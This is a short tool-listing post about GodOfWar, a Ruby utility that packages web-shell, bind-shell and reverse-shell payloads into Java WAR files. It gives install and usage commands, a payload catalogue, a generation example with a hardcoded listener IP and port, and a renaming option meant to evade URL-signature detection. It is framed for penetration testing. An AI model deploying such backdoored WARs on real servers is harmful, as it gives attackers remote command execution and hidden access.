Categories: Kali Linux

GodOfWar : Malicious Java WAR Builder With Built-In Payloads

GodOfWar is a command-line tool to generate war payloads for penetration testing / red teaming purposes, written in ruby.

Features

  • Preexisting payloads. (try -l/–list)
    • cmd_get
    • filebrowser
    • bind_shell
    • reverse_shell
    • reverse_shell_ui
  • Configurable backdoor. (try –host/-port)
  • Control over payload name.
    • To avoid malicious name after deployment to bypass URL name signatures.

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Installation

$ gem install godofwar

Usage

$ godofwar -h

Help menu:
-p, –payload PAYLOAD Generates war from one of the available payloads. (check -l/–list)
-H, –host IP_ADDR Local or Remote IP address for the chosen payload (used with -p/–payload)
-P, –port PORT Local or Remote Port for the chosen payload (used with -p/–payload)
-o, –output [FILE] Output file and the deployment name.
(default is the payload original name. check ‘-l/–list’)
-l, –list list all available payloads.
-h, –help Show this help message.

Example

List all payloads

$ godofwar -l
├── cmd_get
│   └── Information:
│       ├── Description: Command execution via web interface
│       ├── OS:          any
│       ├── Settings:    {"false"=>"No Settings required!"}
│       ├── Usage:       http://host/cmd.jsp?cmd=whoami
│       ├── References:  ["https://github.com/danielmiessler/SecLists/tree/master/Payloads/laudanum-0.8/jsp"]
│       └── Local Path:  /var/lib/gems/2.5.0/gems/godofwar-1.0.1/payloads/cmd_get
├── filebrowser
│   └── Information:
│       ├── Description: Remote file browser, upload, download, unzip files and native command execution
│       ├── OS:          any
│       ├── Settings:    {"false"=>"No Settings required!"}
│       ├── Usage:       http://host/filebrowser.jsp
│       ├── References:  ["http://www.vonloesch.de/filebrowser.html"]
│       └── Local Path:  /var/lib/gems/2.5.0/gems/godofwar-1.0.1/payloads/filebrowser
├── bind_shell
│   └── Information:
│       ├── Description: TCP bind shell
│       ├── OS:          any
│       ├── Settings:    {"port"=>4444, "false"=>"No Settings required!"}
│       ├── Usage:       http://host/reverse-shell.jsp
│       ├── References:  ["Metasploit - msfvenom -p java/jsp_shell_bind_tcp"]
│       └── Local Path:  /var/lib/gems/2.5.0/gems/godofwar-1.0.1/payloads/bind_shell
├── reverse_shell_ui
│   └── Information:
│       ├── Description: TCP reverse shell with a HTML form to set LHOST and LPORT from browser.
│       ├── OS:          any
│       ├── Settings:    {"host"=>"attacker", "port"=>4444, "false"=>"No Settings required!"}
│       ├── Usage:       http://host/reverse_shell_ui.jsp
│       ├── References:  []
│       └── Local Path:  /var/lib/gems/2.5.0/gems/godofwar-1.0.1/payloads/reverse_shell_ui
├── reverse_shell
│   └── Information:
│       ├── Description: TCP reverse shell. LHOST and LPORT are hardcoded
│       ├── OS:          any
│       ├── Settings:    {"host"=>"attacker", "port"=>4444, "false"=>"No Settings required!"}
│       ├── Usage:       http://host/reverse_shell.jsp
│       ├── References:  []
│       └── Local Path:  /var/lib/gems/2.5.0/gems/godofwar-1.0.1/payloads/reverse_shell

Generate payload with LHOST and LPORT

godofwar -p reverse_shell -H 192.168.100.10 -P 9911 -o puppy

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